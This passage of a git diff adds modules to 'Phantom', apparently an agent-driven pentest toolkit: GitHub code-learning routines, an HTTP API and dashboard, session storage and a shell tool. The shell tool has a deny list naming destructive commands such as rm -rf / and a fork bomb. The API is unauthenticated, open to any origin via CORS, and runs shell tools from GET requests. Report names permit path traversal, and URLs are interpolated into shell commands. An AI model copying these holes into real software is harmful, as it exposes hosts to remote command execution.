st.learned_topics = {}; + st.learned_topics[topic.toLowerCase()] = { + ts: new Date().toISOString(), + repos: results.repos, + exports: results.exports, + features: results.features, + patterns: results.patterns, + }; + saveState(st); +} + +function getLearnedTopics() { + const st = loadState(); + return st.learned_topics || {}; +} + +/** + * Search GitHub for repos by topic, clone top N, scan them, extract patterns. + */ +export async function learnTopic(topic, maxRepos = 3) { + const already = getLearnedTopics(); + const key = topic.toLowerCase().trim(); + if (already[key]) { + return { cached: true, topic, ts: already[key].ts, repos: already[key].repos, exports: already[key].exports }; + } + + const tempDir = resolve(LEARN_CACHE, key.replace(/[^a-z0-9_-]/g, "_")); + fs.mkdirSync(tempDir, { recursive: true }); + + // Search GitHub + let repos = []; + try { + const searchUrl = `${GH_SEARCH}${encodeURIComponent(topic)}&sort=stars&per_page=${maxRepos}`; + const raw = execSync(`curl -s "${searchUrl}"`, { encoding: "utf-8", timeout: 15000 }); + const data = JSON.parse(raw); + if (data.items) { + repos = data.items.slice(0, maxRepos).map(r => ({ name: r.full_name, url: r.clone_url, stars: r.stargazers_count, desc: r.description })); + } + } catch {} + if (!repos.length) return { error: `No GitHub repos found for "${topic}"`, topic }; + + const results = { repos, exports: [], features: [], patterns: {} }; + const aggregated = { exports: [], features: [], tools: [], path: tempDir, patterns: {} }; + + for (const repo of repos) { + const repoDir = resolve(tempDir, repo.name.replace("/", "_")); + try { + execSync(`git clone --depth 1 "${repo.url}" "${repoDir}" 2>/dev/null`, { timeout: 60000 }); + deepScan(repoDir, aggregated); + // Merge features/categories into results + results.exports.push(...aggregated.exports.slice(0, 20)); + for (const f of aggregated.features) { + if (!results.features.includes(f)) results.features.push(f); + } + Object.assign(results.patterns, aggregated.patterns); + } catch { continue; } // skip failed clones + } + + // Cleanup cloned repos to save disk + try { fs.rmSync(tempDir, { recursive: true, force: true }); } catch {} + + saveLearnedTopic(key, results); + return { cached: false, topic, repos: results.repos, exports: results.exports.slice(0, 30), features: results.features, patterns: results.patterns }; +} + +/** + * Learn from a single GitHub repo URL — clone and scan. + */ +export async function learnFromRepo(url) { + const match = url.match(/github\.com[:/]([^/]+\/[^/.]+)/); + const name = match ? match[1].replace("/", "_") : `repo_${Date.now()}`; + const tempDir = resolve(LEARN_CACHE, name); + fs.mkdirSync(LEARN_CACHE, { recursive: true }); + try { fs.rmSync(tempDir, { recursive: true, force: true }); } catch {} + + const result = { exports: [], features: [], tools: [], patterns: {} }; + try { + execSync(`git clone --depth 1 "${url}" "${tempDir}"`, { timeout: 120000 }); + // Read README/doc files for context + const readmeFiles = ["README.md", "README.rst", "README.txt", "README", "docs/index.md", "docs/README.md"]; + for (const rf of readmeFiles) { + const rp = resolve(tempDir, rf); + if (fs.existsSync(rp)) { + try { + const content = fs.readFileSync(rp, "utf-8").slice(0, 8000); + const title = (content.match(/^#\s+(.+)/m) || [])[1] || rf; + result.readme = { title, content, source: rf }; + // Extract key sections + const sections = content.match(/^##\s+(.+)$/gm) || []; + result.readme.sections = sections.map(s => s.replace(/^##\s+/, "")); + break; + } catch {} + } + } + deepScan(tempDir, result); + try { fs.rmSync(tempDir, { recursive: true, force: true }); } catch {} + return { url, readme: result.readme || null, exports: result.exports.slice(0, 30), features: result.features, toolsFound: result.tools.length, patterns: result.patterns }; + } catch (e) { + return { error: `Failed to clone/scan: ${e.message.slice(0, 200)}`, url }; + } +} + +/** + * Identify gaps in Phantom's tool coverage and learn them from GitHub. + * Analyzes current tool names/categories, finds missing domains, fetches code. + */ +export async function learnGaps() { + const knownDomains = ["http","auth","database","cache","websocket","ipc","logging","dns","ssl","crypto","json","yaml","xml","csv","image","audio","video","compression","archive","docker","k8s","graphql","grpc","ssh","ftp","smtp","ldap","mqtt","serialization","async","container","text-processing"]; + const st = loadState(); + const learned = getLearnedTopics(); + const ownFeatures = new Set(st.imported_features || []); + + // Find missing domains + const featureNames = new Set([...ownFeatures, ...Object.keys(learned)]); + const missing = knownDomains.filter(d => !featureNames.has(d)); + + if (!missing.length) return { message: "All known domains covered. No gaps detected.", missing: [] }; + + const results = {}; + for (const domain of missing.slice(0, 5)) { // learn top 5 gaps + const res = await learnTopic(`${domain} cli tool`, 2); + results[domain] = { + repos: res.repos?.map(r => r.name) || [], + exports: res.exports?.length || 0, + features: res.features, + cached: res.cached, + }; + } + + return { message: `Learned ${Object.keys(results).length} new domains`, missing, results }; +} + +/** + * Fetch a URL and extract code patterns from the content. + */ +export async function learnFromWeb(url) { + try { + const raw = execSync(`curl -sL "${url}"`, { encoding: "utf-8", timeout: 15000 }); + // Treat as inline "project" with a single file + const result = { exports: [], features: [], tools: [], patterns: {}, path: url }; + // Try to detect language and analyze + if (url.endsWith(".py") || url.includes("python")) analyzePythonFile(url, result); + else if (url.endsWith(".rs") || url.includes("rust")) analyzeRustFile(url, result); + else if (url.endsWith(".rb") || url.includes("ruby")) analyzeRubyFile(url, result); + else if (url.endsWith(".java") || url.includes("java")) analyzeJavaFile(url, result); + else if (/\.(c|cpp|h|hpp)$/i.test(url)) analyzeCppFile(url, result); + else if (/\.(sh|bash)$/i.test(url)) analyzeShellFile(url, result); + + // Fallback: extract code blocks from HTML/markdown + if (!result.exports.length) { + const codeBlocks = raw.match(/```(?:\w+)?\n([\s\S]*?)```/g); + if (codeBlocks) { + result.exports = codeBlocks.map((b, i) => ({ name: `code_block_${i + 1}`, source: "web", type: "snippet" })); + result.features.push("code-snippet"); + } + // Extract links to other resources + const links = raw.match(/https?:\/\/github\.com\/[^/\s]+\/[^/\s"')\]]+/g); + if (links) { + result.features.push(`found ${links.length} github links`); + result.exports.push({ name: "github_links", count: links.length, samples: links.slice(0, 3) }); + } + } + + return { url, exports: result.exports.slice(0, 20), features: result.features, snippets: result.exports.filter(e => e.type === "snippet").length }; + } catch (e) { + return { error: `Failed to fetch/parse: ${e.message.slice(0, 200)}`, url }; + } +} + +// ── 15. EXTENDED PROJECT SCANNER with multi-language support ── + +/** + * Scan a project directory — enhanced to dispatch to language-specific analyzers. + * Replaces the inline file-walker with proper dispatch for .rs, .rb, .java, .c, .cpp, .sh. + */ +function scanFileEnhanced(fullPath, result) { + const ext = extname(fullPath).toLowerCase(); + const base = basename(fullPath).toLowerCase(); + + // Skip non-source and common ignorables + if (/node_modules|\.git|__pycache__|target|build|vendor|dist|\.venv/.test(fullPath)) return; + if (/\.(min\.|bundle|lock|sum|svg|png|jpg|gif|ico|woff2?|ttf|eot|pdf|zip|tar|gz|bz2|xz|exe|dll|so|dylib|bin|dat|pyc|pyo)$/.test(ext)) return; + if (/^(package-lock|yarn\.lock|pnpm-lock|go\.sum|Cargo\.lock|Gemfile\.lock|poetry\.lock)/.test(base)) return; + + // Dispatch by extension + switch (ext) { + case ".mjs": case ".js": case ".ts": analyzeJSFile(fullPath, result); break; + case ".py": analyzePythonFile(fullPath, result); break; + case ".go": analyzeGoFile(fullPath, result); break; + case ".rs": analyzeRustFile(fullPath, result); break; + case ".rb": analyzeRubyFile(fullPath, result); break; + case ".java": analyzeJavaFile(fullPath, result); break; + case ".c": case ".h": case ".cpp": case ".hpp": case ".cc": case ".cxx": analyzeCppFile(fullPath, result); break; + case ".sh": case ".bash": case ".zsh": analyzeShellFile(fullPath, result); break; + } +} + +/** + * Walk a directory tree and scan all source files with multi-language support. + */ +export function deepScan(dir, result) { + try { + const entries = fs.readdirSync(dir, { withFileTypes: true }); + for (const entry of entries) { + const full = resolve(dir, entry.name); + if (entry.isDirectory()) { + if (!/node_modules|\.git|__pycache__|target|build|vendor|dist|\.venv|\.cargo/.test(entry.name)) + deepScan(full, result); + } else if (entry.isFile()) { + scanFileEnhanced(full, result); + } + } + } catch {} +} + +// ── Re-export learned topic listing ── + +export function listLearnedTopics() { + const st = loadState(); + const topics = st.learned_topics || {}; + return Object.entries(topics).map(([topic, info]) => ({ + topic, + learned: info.ts, + repos: info.repos?.length || 0, + exports: info.exports?.length || 0, + })); +} diff --git a/lib/server.mjs b/lib/server.mjs new file mode 100644 index 0000000000000000000000000000000000000000..6f078fbbc186aa98b7f55a96469d5ea37fab8ba5 --- /dev/null +++ b/lib/server.mjs @@ -0,0 +1,394 @@ +// Phantom — API server + GUI dashboard +// Extracted from phantom.mjs for cleaner module structure + +import http from "http"; +import fs from "fs"; +import { resolve } from "path"; +import { homedir } from "os"; +import { execSync } from "child_process"; +import { DASHBOARD_HTML } from "./dashboard.mjs"; +import { log } from "./logger.mjs"; +import * as osModule from "os"; + +// Mission directory for the new monitoring endpoints +const MISSIONS_DIR = resolve(homedir(), ".config", "phantom", "missions"); + +/** Shared deps — passed in at setup time */ +let hackerTools = null; +let __r = null; +let REPORTS_DIR = ""; + +// Tool categorization for the /api/tasks endpoint +function categorizeTool(name) { + if (name.startsWith("mission") || name.startsWith("hackerone")) return "mission"; + if (name.startsWith("recon") || name === "subfinder" || name === "dnsx" || name === "httpx" || name === "sub_enum" || name === "wayback" || name === "amass") return "recon"; + if (name.startsWith("net:") || name === "port_scan" || name === "ssl_check" || name === "whois" || name === "geoip" || name === "dns_lookup" || name === "reverse_dns" || name === "nmap" || name === "naabu") return "network"; + if (name.startsWith("vuln:") || name === "cve_search" || name === "exploit_search" || name === "nuclei" || name === "nikto" || name === "sqlmap" || name === "sql_detect" || name === "xss_scan") return "vulnerability"; + if (name.startsWith("web:") || name === "crawl" || name === "http_headers" || name === "web_fetch" || name === "web_links" || name === "web_snapshot" || name === "whatweb" || name === "wafw00f" || name === "robots_txt" || name === "dir_bruteforce" || name === "ffuf" || name === "gobuster") return "web"; + if (name.startsWith("osint:") || name === "email_verify" || name === "email_breach" || name === "github_dork" || name === "shodan_search" || name === "vt_check" || name === "cert_expiry") return "osint"; + if (name.startsWith("schedule") || name === "cron" || name === "batch" || name === "pipe" || name === "session" || name === "playbook") return "automation"; + return "other"; +} + +function formatUptime(seconds) { + const d = Math.floor(seconds / 86400); + const h = Math.floor((seconds % 86400) / 3600); + const m = Math.floor((seconds % 3600) / 60); + const s = Math.floor(seconds % 60); + const parts = []; + if (d) parts.push(`${d}d`); + if (h) parts.push(`${h}h`); + if (m) parts.push(`${m}m`); + if (s || parts.length === 0) parts.push(`${s}s`); + return parts.join(" "); +} + +export function initApiDeps(tools, runtime, reportsDir) { + hackerTools = tools; + __r = runtime; + REPORTS_DIR = reportsDir; +} + +// ── REST API Handler ────────────────────────────────────── + +// Agent reference for chat — set by dashboard/server startup +let chatAgent = null; +let chatAgentManager = null; +let chatBus = null; + +export function setChatAgent(agent, manager, bus) { + chatAgent = agent; + chatAgentManager = manager; + chatBus = bus || null; +} +const json = (res, data, code = 200) => { + res.writeHead(code, { "Content-Type": "application/json" }); + res.end(JSON.stringify(data)); +}; +const parseBody = (req) => + new Promise((resolve) => { + let b = ""; + req.on("data", (c) => (b += c)); + req.on("end", () => { + try { + resolve(JSON.parse(b)); + } catch { + resolve({}); + } + }); + }); + +export async function handleApiRequest(req, res) { + res.setHeader("Access-Control-Allow-Origin", "*"); + res.setHeader("Access-Control-Allow-Methods", "GET, POST, OPTIONS"); + res.setHeader("Access-Control-Allow-Headers", "Content-Type"); + if (req.method === "OPTIONS") { + res.writeHead(204); + res.end(); + return; + } + const url = new URL(req.url || "/", "http://" + (req.headers.host || "localhost")); + + try { + // GET /api — list all + if (url.pathname === "/api" || url.pathname === "/api/") { + return json(res, { + ok: true, + tools: Object.keys(hackerTools).sort(), + version: "0.2.0", + docs: "/api/tools, /api/run, /api/info, /api/playbooks, /api/reports", + }); + } + // GET /api/tools — list tool names + if (url.pathname === "/api/tools") { + return json(res, { + ok: true, + count: Object.keys(hackerTools).length, + tools: Object.keys(hackerTools).sort(), + }); + } + // GET /api/info — detailed tool info + if (url.pathname === "/api/info") { + const entries = Object.entries(hackerTools) + .sort(([a], [b]) => (a < b ? -1 : 1)) + .map(([name]) => ({ name })); + return json(res, { ok: true, count: entries.length, tools: entries }); + } + // GET /api/tool/:name — tool metadata + const toolMatch = url.pathname.match(/^\/api\/tool\/(.+)$/); + if (toolMatch) { + const name = decodeURIComponent(toolMatch[1]); + if (!hackerTools[name]) return json(res, { ok: false, error: "Tool not found" }, 404); + return json(res, { ok: true, name }); + } + // POST /api/run — execute tool + if (url.pathname === "/api/run" && req.method === "POST") { + const { tool, args } = await parseBody(req); + if (!tool || !hackerTools[tool]) + return json(res, { ok: false, error: `Tool "${tool}" not found` }, 404); + const result = await hackerTools[tool](args || ""); + return json(res, { ok: true, tool, args: args || "", result }); + } + // GET /api/run?tool=...&args=... — execute via GET + if (url.pathname === "/api/run" && req.method === "GET") { + const tool = url.searchParams.get("tool"); + const args = url.searchParams.get("args") || ""; + if (!tool || !hackerTools[tool]) + return json(res, { ok: false, error: `Tool "${tool}" not found` }, 404); + const result = await hackerTools[tool](args); + return json(res, { ok: true, tool, args, result }); + } + // GET /api/playbooks — list playbooks + if (url.pathname === "/api/playbooks") { + const pbDir = resolve(homedir(), ".config", "phantom", "playbooks"); + const names = []; + if (fs.existsSync(pbDir)) { + for (const f of fs.readdirSync(pbDir).filter((f) => f.endsWith(".json"))) { + const pb = JSON.parse(fs.readFileSync(resolve(pbDir, f), "utf-8")); + names.push({ + name: pb.name, + description: pb.description, + steps: (pb.steps || []).length, + vars: pb.variables, + }); + } + } + return json(res, { ok: true, playbooks: names }); + } + // POST /api/playbook/run — run a playbook + if (url.pathname === "/api/playbook/run" && req.method === "POST") { + const { name, vars } = await parseBody(req); + if (!hackerTools.playbook_run) + return json(res, { ok: false, error: "playbook_run tool not loaded" }, 404); + const result = await hackerTools.playbook_run(vars ? name + "|" + vars : name); + return json(res, { ok: true, name, result }); + } + // GET /api/playbook/run?name=...&vars=... — run via GET + if (url.pathname === "/api/playbook/run" && req.method === "GET") { + const name = url.searchParams.get("name"); + const vars = url.searchParams.get("vars") || ""; + if (!name) return json(res, { ok: false, error: "?name= required" }, 400); + if (!hackerTools.playbook_run) + return json(res, { ok: false, error: "playbook_run not loaded" }, 404); + const result = await hackerTools.playbook_run(vars ? name + "|" + vars : name); + return json(res, { ok: true, name, result }); + } + // GET /api/reports — list reports + if (url.pathname === "/api/reports") { + const reports = []; + if (fs.existsSync(REPORTS_DIR)) { + for (const f of fs.readdirSync(REPORTS_DIR).filter((f) => f.endsWith(".md") || f.endsWith(".txt"))) { + const s = fs.readFileSync(resolve(REPORTS_DIR, f)).length; + reports.push({ name: f, size: s < 1024 ? s + "B" : (s / 1024).toFixed(1) + "KB" }); + } + } + return json(res, { ok: true, reports }); + } + // GET /api/report/:name — view a report + if (url.pathname.startsWith("/api/report/")) { + const name = decodeURIComponent(url.pathname.slice(12)); + const fp = resolve(REPORTS_DIR, name); + if (!fs.existsSync(fp)) return json(res, { ok: false, error: "Report not found" }, 404); + return json(res, { ok: true, name, content: fs.readFileSync(fp, "utf-8") }); + } + // GET /api/health — health check + if (url.pathname === "/api/health") { + const mem = process.memoryUsage(); + return json(res, { + ok: true, + status: "running", + tools: Object.keys(hackerTools).length, + chat: chatAgent ? `${chatAgent.name} (lvl ${chatAgent.evolutionLevel})` : false, + pid: process.pid, + uptime: process.uptime().toFixed(0) + "s", + uptimeHuman: formatUptime(process.uptime()), + memory: { + rss: Math.round(mem.rss / 1024 / 1024) + "MB", + heapUsed: Math.round(mem.heapUsed / 1024 / 1024) + "MB", + heapTotal: Math.round(mem.heapTotal / 1024 / 1024) + "MB", + external: Math.round(mem.external / 1024 / 1024) + "MB" + }, + platform: process.platform, + nodeVersion: process.version, + usbMounted: fs.existsSync("/root/usb/Phantom"), + timestamp: new Date().toISOString() + }); + } + + // GET /api/missions — list all missions + if (url.pathname === "/api/missions") { + const missions = []; + if (fs.existsSync(MISSIONS_DIR)) { + for (const f of fs.readdirSync(MISSIONS_DIR).filter((f) => f.endsWith(".json"))) { + const m = JSON.parse(fs.readFileSync(resolve(MISSIONS_DIR, f), "utf-8")); + missions.push({ + id: m.id, + programName: m.programName, + programHandle: m.programHandle, + status: m.status, + createdAt: m.createdAt, + updatedAt: m.updatedAt, + inScopeCount: m.scope?.inScope?.length || 0, + objectives: m.objectives?.length || 0 + }); + } + } + missions.sort((a, b) => new Date(b.updatedAt).getTime() - new Date(a.updatedAt).getTime()); + return json(res, { ok: true, missions }); + } + + // GET /api/missions/:id — get single mission detail + if (url.pathname.startsWith("/api/missions/") && url.pathname.length > 12) { + const missionId = decodeURIComponent(url.pathname.slice(12)); + const f = resolve(MISSIONS_DIR, `${missionId}.json`); + if (!fs.existsSync(f)) return json(res, { ok: false, error: "Mission not found" }, 404); + const mission = JSON.parse(fs.readFileSync(f, "utf-8")); + return json(res, { ok: true, mission }); + } + + // GET /api/schedules — list active schedules + if (url.pathname === "/api/schedules") { + const SCHEDULES_FILE = resolve(homedir(), ".config", "phantom", "schedules.json"); + let schedules = []; + if (fs.existsSync(SCHEDULES_FILE)) { + try { schedules = JSON.parse(fs.readFileSync(SCHEDULES_FILE, "utf-8")); } catch {} + } + return json(res, { + ok: true, + schedules: schedules.map((s) => ({ + id: s.id, + tool: s.tool, + target: s.target, + interval: s.interval, + nextAt: s.nextAt, + nextAtHuman: new Date(s.nextAt).toLocaleString() + })) + }); + } + + // GET /api/tasks — list all available tasks/tools with categories + if (url.pathname === "/api/tasks") { + const tasks = Object.keys(hackerTools).map((name) => ({ + name, + category: categorizeTool(name) + })); + return json(res, { ok: true, tasks }); + } + + // GET /api/system — system info (disk, load, memory) + if (url.pathname === "/api/system") { + let diskInfo = ""; + let loadAvg = ""; + let netInfo = ""; + try { + diskInfo = execSync("df -h /root/usb", { encoding: "utf-8", timeout: 5000 }).trim(); + } catch {} + try { + loadAvg = execSync("cat /proc/loadavg", { encoding: "utf-8", timeout: 5000 }).trim(); + } catch {} + try { + netInfo = execSync("cat /proc/net/dev", { encoding: "utf-8", timeout: 5000 }).trim(); + } catch {} + + // Get disk I/O stats + let diskIO = ""; + try { + diskIO = execSync("cat /proc/diskstats", { encoding: "utf-8", timeout: 5000 }).trim(); + } catch {} + + return json(res, { + ok: true, + disk: diskInfo, + loadAvg: loadAvg, + netDev: netInfo, + diskIO: diskIO, + cpus: osModule.cpus().length, + totalMem: Math.round(osModule.totalmem() / 1024 / 1024 / 1024 * 10) / 10 + "GB", + freeMem: Math.round(osModule.freemem() / 1024 / 1024 / 1024 * 10) / 10 + "GB", + uptime: process.uptime(), + platform: process.platform, + nodeVersion: process.version, + pid: process.pid + }); + } + + // POST /api/chat — send message to agent + if (url.pathname === "/api/chat" && req.method === "POST") { + if (!chatAgent) return json(res, { ok: false, error: "No chat agent running" }, 503); + const { message } = await parseBody(req); + if (!message) return json(res, { ok: false, error: "message required" }, 400); + const response = await new Promise((resolve, reject) => { + const timeout = setTimeout(() => reject(new Error("Agent timeout")), 90000); + const handler = ({ agent: a, text }) => { + if (a && a.id === chatAgent.id) { + clearTimeout(timeout); + try { if (chatBus) chatBus.off("agent:msg", handler); } catch {} + resolve(text); + } + }; + if (chatBus) chatBus.on("agent:msg", handler); + chatAgent.receive("user", message).catch(err => { + clearTimeout(timeout); + try { if (chatBus) chatBus.off("agent:msg", handler); } catch {} + reject(err); + }); + }); + return json(res, { ok: true, response, level: chatAgent.evolutionLevel }); + } + // POST /api/chat/reset — reset agent conversation + if (url.pathname === "/api/chat/reset" && req.method === "POST") { + if (!chatAgent) return json(res, { ok: false, error: "No chat agent" }, 503); + chatAgent.memory = []; + chatAgent.evolutionLevel = 1; + return json(res, { ok: true }); + } + return json(res, { ok: false, error: "Not found" }, 404); + } catch (e) { + return json(res, { ok: false, error: e.message }, 500); + } +} + +export function startApiServer(port) { + initApiDeps(hackerTools, __r, REPORTS_DIR); // keep refs + const server = http.createServer((req, res) => handleApiRequest(req, res)); + server.listen(port, () => { + const clickable = `\x1b]8;;http://localhost:${port}\x07http://localhost:${port}\x1b]8;;\x07`; + log.cli(` ◆ Phantom API: ${clickable} (--api)`); + }); + return server; +} + +export function startGuiDashboard(port) { + initApiDeps(hackerTools, __r, REPORTS_DIR); + const html = DASHBOARD_HTML; + const server = http.createServer((req, res) => { + if (req.url?.startsWith("/api")) return handleApiRequest(req, res); + res.writeHead(200, { "Content-Type": "text/html; charset=utf-8" }); + res.end(html); + }); + const url = `http://localhost:${port}`; + server.on("error", e => { + if (e.code === "EADDRINUSE") { + log.warn(`Port ${port} in use — killing previous process...`); + try { + execSync(`lsof -ti:${port} | xargs kill 2>/dev/null`, { timeout: 3000 }); + setTimeout(() => { + server.close(); + server.listen(port); + }, 500); + } catch { /* ignore kill failures */ } + } + }); + server.listen(port, () => { + const clickable = `\x1b]8;;${url}\x07${url}\x1b]8;;\x07`; + log.cli(`\n \u25C8 Phantom Dashboard: ${clickable}`); + log.cli(` \u26A1 Ctrl+Click or tap to open in browser\n`); + try { + const isTermux = process.env.PREFIX === "/data/data/com.termux/files/usr"; + execSync(isTermux ? `termux-open-url ${url}` : `xdg-open ${url}`, { + timeout: 2000, stdio: "ignore", + }); + } catch { /* browser may not be available */ } + }); + return server; +} diff --git a/lib/session.mjs b/lib/session.mjs new file mode 100644 index 0000000000000000000000000000000000000000..37f1b5e470daaea43a361328d5d154ba3cca7628 --- /dev/null +++ b/lib/session.mjs @@ -0,0 +1,125 @@ +// Phantom — Session persistence + knowledge graph +// Saves/restores minimal state across restarts. +// Linked knowledge: tool ↔ book/CVE cross-reference. + +import fs from "fs"; +import { resolve } from "path"; +import { MEMORY_DIR } from "./config.mjs"; + +const SESSION_FILE = resolve(MEMORY_DIR, "session.json"); +const GRAPH_FILE = resolve(MEMORY_DIR, "graph.json"); + +// ── Session ── +export function saveSession(data) { + try { + const dir = MEMORY_DIR; + if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true }); + const existing = loadSession(); + const merged = { ...existing, ...data, savedAt: Date.now() }; + fs.writeFileSync(SESSION_FILE, JSON.stringify(merged, null, 2), "utf-8"); + return true; + } catch { return false; } +} + +export function loadSession() { + try { + if (!fs.existsSync(SESSION_FILE)) return {}; + return JSON.parse(fs.readFileSync(SESSION_FILE, "utf-8")); + } catch { return {}; } +} + +export function clearSession() { + try { if (fs.existsSync(SESSION_FILE)) fs.unlinkSync(SESSION_FILE); } catch {} +} + +// ── Knowledge Graph ── +// Links tools to related books/CVEs/techniques +// Format: { "tool_name": { books: ["book1", "book2"], cves: ["CVE-2025-..."], tags: ["xss", "sqli"] } } + +export function loadGraph() { + try { + if (!fs.existsSync(GRAPH_FILE)) return {}; + return JSON.parse(fs.readFileSync(GRAPH_FILE, "utf-8")); + } catch { return {}; } +} + +export function saveGraph(graph) { + try { + const dir = MEMORY_DIR; + if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true }); + fs.writeFileSync(GRAPH_FILE, JSON.stringify(graph, null, 2), "utf-8"); + return true; + } catch { return false; } +} + +export function linkTool(toolName, { books = [], cves = [], tags = [] } = {}) { + const graph = loadGraph(); + if (!graph[toolName]) graph[toolName] = { books: [], cves: [], tags: [] }; + if (books.length) graph[toolName].books = [...new Set([...graph[toolName].books, ...books])]; + if (cves.length) graph[toolName].cves = [...new Set([...graph[toolName].cves, ...cves])]; + if (tags.length) graph[toolName].tags = [...new Set([...graph[toolName].tags, ...tags])]; + saveGraph(graph); + return graph[toolName]; +} + +export function queryGraph(query) { + const graph = loadGraph(); + const q = query.toLowerCase(); + const results = []; + for (const [tool, info] of Object.entries(graph)) { + let score = 0; + if (tool.includes(q)) score += 10; + if (info.tags?.some(t => t.includes(q))) score += 5; + if (info.cves?.some(c => c.toLowerCase().includes(q))) score += 3; + if (info.books?.some(b => b.toLowerCase().includes(q))) score += 2; + // Partial match + const words = q.split(/\s+/); + for (const w of words) { + if (w.length < 2) continue; + if (tool.includes(w)) score += 3; + if (info.tags?.some(t => t.includes(w))) score += 2; + if (info.books?.some(b => b.toLowerCase().includes(w))) score += 1; + } + if (score > 0) results.push({ tool, ...info, score }); + } + return results.sort((a, b) => (b.score || 0) - (a.score || 0)); +} + +// ── Auto-link from books directory ── +// Scans books/ for filenames matching tool categories +export function autoLinkFromBooks() { + const booksDir = resolve(MEMORY_DIR, "../books"); + if (!fs.existsSync(booksDir)) return 0; + const files = fs.readdirSync(booksDir).filter(f => f.endsWith(".txt")); + const graph = loadGraph(); + let linked = 0; + for (const file of files) { + const name = file.replace(".txt", "").toLowerCase(); + // Map book names to tool tags + const tagMap = { + sql_injection: ["sql_detect", "sqlmap", "sqli", "sql_injection"], + xss: ["xss_scan", "xss"], + ssrf: ["ssrf", "ssrf_test"], + nmap: ["nmap", "port_scan", "network_scan"], + cve: ["cve_search", "searchsploit", "vuln_scan", "vulners"], + pentest: ["nuclei", "metasploit", "exploit", "pentest"], + owasp: ["wafw00f", "whatweb", "nikto", "dirb"], + methodology: ["recon", "enumeration", "osint"], + shannon: ["gap_analysis", "self_improve", "evolve"], + auto: ["self_improve", "evolve", "code_gen"], + tool: ["workflow", "automation", "batch"], + reference: ["hash", "encode", "decode", "crypto"], + }; + for (const [tag, tools] of Object.entries(tagMap)) { + if (name.includes(tag) || tag.includes(name)) { + for (const t of tools) { + if (!graph[t]) graph[t] = { books: [], cves: [], tags: [] }; + if (!graph[t].books.includes(file)) { graph[t].books.push(file); linked++; } + if (!graph[t].tags.includes(tag)) { graph[t].tags.push(tag); } + } + } + } + } + if (linked > 0) saveGraph(graph); + return linked; +} diff --git a/lib/tools.mjs b/lib/tools.mjs new file mode 100644 index 0000000000000000000000000000000000000000..254acc5d95738869986ae00bc0842a829b2a30e4 --- /dev/null +++ b/lib/tools.mjs @@ -0,0 +1,5750 @@ +import { execFileSync } from "child_process"; +import fs from "fs"; +import { resolve } from "path"; +import { homedir } from "os"; +import { pathToFileURL } from "url"; +import { createRequire } from "module"; +const $r = createRequire(import.meta.url); +import { BASE_DIR, MEMORY_DIR, REPORTS_DIR, PLAYBOOKS_DIR, KNOWLEDGE_DIR, BOOKS_DIR } from "./config.mjs"; +import { __r, runExternal, formatExternal, execAsync } from "./runtime.mjs"; + +export const hackerTools = { + shell: async (cmd) => { + // Execute a shell command and return output + // Includes audit trail + dangerous command guard + const SHELL_LOG = resolve(homedir(), ".config", "phantom", "shell_history.log"); + const dangerous = [/^rm\s+-rf\s+\/|rm\s+-rf\s+--no-preserve-root/, /^dd\s+if=/, /:\(\)\{/, /chmod\s+777\s+\/$/, /sudo\s+rm\s+-rf/, /bash\s+-c\s/, /sh\s+-c\s/]; + + // Guard: unclosed backticks or $() cause shell syntax errors + const backtickCount = (cmd.match(/`/g) || []).length; + if (backtickCount % 2 !== 0) { + return "[Shell Error] Unclosed backtick in command. Escape with backslash-backtick or use $() with balanced parentheses."; + } + // Escape backticks and $() to prevent shell injection / syntax errors + cmd = cmd.replace(/`/g, '\\`').replace(/\$\(/g, '\\$\\('); + + const isDangerous = dangerous.some(d => d.test(cmd)); + const ts = new Date().toISOString(); + + // Audit trail + try { + const dir = resolve(homedir(), ".config", "phantom"); + if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true }); + fs.appendFileSync(SHELL_LOG, `[${ts}] ${cmd}\n`, "utf-8"); + } catch { /* best-effort audit */ } + + // Dangerous command guard + if (isDangerous) { + return `[Shell] ⚠ Command blocked (dangerous pattern detected): ${cmd}\nLog: ${SHELL_LOG}\nUse --force to override (not recommended).`; + } + + try { + const r = await execAsync(cmd, { timeout: 30000, maxBuffer: 1024 * 1024 }); + return r.trim().substring(0, 4000) || "(empty output)"; + } catch (e) { + return `[Shell Error] ${e.stderr?.substring(0, 500) || e.message}`; + } + }, + + web_fetch: async (url) => { + // Fetch a URL and return the content + try { + const r = await fetch(url); + const text = await r.text(); + const ct = r.headers.get("content-type") || ""; + const isHtml = ct.includes("text/html"); + // Strip HTML tags for readability + const cleaned = isHtml + ? text.replace(/]*>[\s\S]*?<\/script>/gi, "") + .replace(/]*>[\s\S]*?<\/style>/gi, "") + .replace(/<[^>]+>/g, " ") + .replace(/\s+/g, " ") + .trim() + : text; + return `Status ${r.status}\n${cleaned.substring(0, 15000)}`; + } catch (e) { + return `[Fetch Error] ${e.message}`; + } + }, + + decode: async (input) => { + // Auto-detect and decode encoded strings + const s = input.trim(); + const results = []; + // Base64 + try { + const decoded = Buffer.from(s, "base64").toString("utf-8"); + if (/^[\x20-\x7E\s]+$/.test(decoded)) results.push(`base64: ${decoded}`); + } catch {} + // Hex + const hexClean = s.replace(/\\x/g, "").replace(/0x/g, "").replace(/\s/g, ""); + if (/^[0-9a-fA-F]+$/.test(hexClean) && hexClean.length % 2 === 0) { + try { + const decoded = Buffer.from(hexClean, "hex").toString("utf-8"); + if (/^[\x20-\x7E\s]+$/.test(decoded)) results.push(`hex: ${decoded}`); + } catch {} + } + // URL decode + try { if (s.includes("%")) results.push(`url: ${decodeURIComponent(s)}`); } catch {} + // Binary + if (/^[01\s]+$/.test(s)) { + try { + const bin = s.replace(/\s/g, ""); + const chars = []; + for (let i = 0; i < bin.length; i += 8) { + chars.push(String.fromCharCode(parseInt(bin.substring(i, i+8), 2))); + } + results.push(`binary: ${chars.join("")}`); + } catch {} + } + // ROT13 + results.push(`rot13: ${s.replace(/[a-zA-Z]/g, c => { + const code = c.charCodeAt(0); + const base = c <= 'Z' ? 65 : 97; + return String.fromCharCode(((code - base + 13) % 26) + base); + })}`); + return results.length ? results.join("\n") : "[Decoder] No known encoding detected"; + }, + + file_analyze: async (path) => { + // Analyze a file: hashes, entropy, strings, type detection + try { + const { existsSync, statSync, readFileSync } = await import("fs"); + if (!existsSync(path)) return `[Error] File not found: ${path}`; + const buf = readFileSync(path); + const size = buf.length; + const { createHash } = await import("crypto"); + const md5 = createHash("md5").update(buf).digest("hex"); + const sha1 = createHash("sha1").update(buf).digest("hex"); + const sha256 = createHash("sha256").update(buf).digest("hex"); + // Entropy + const freq = new Map(); + for 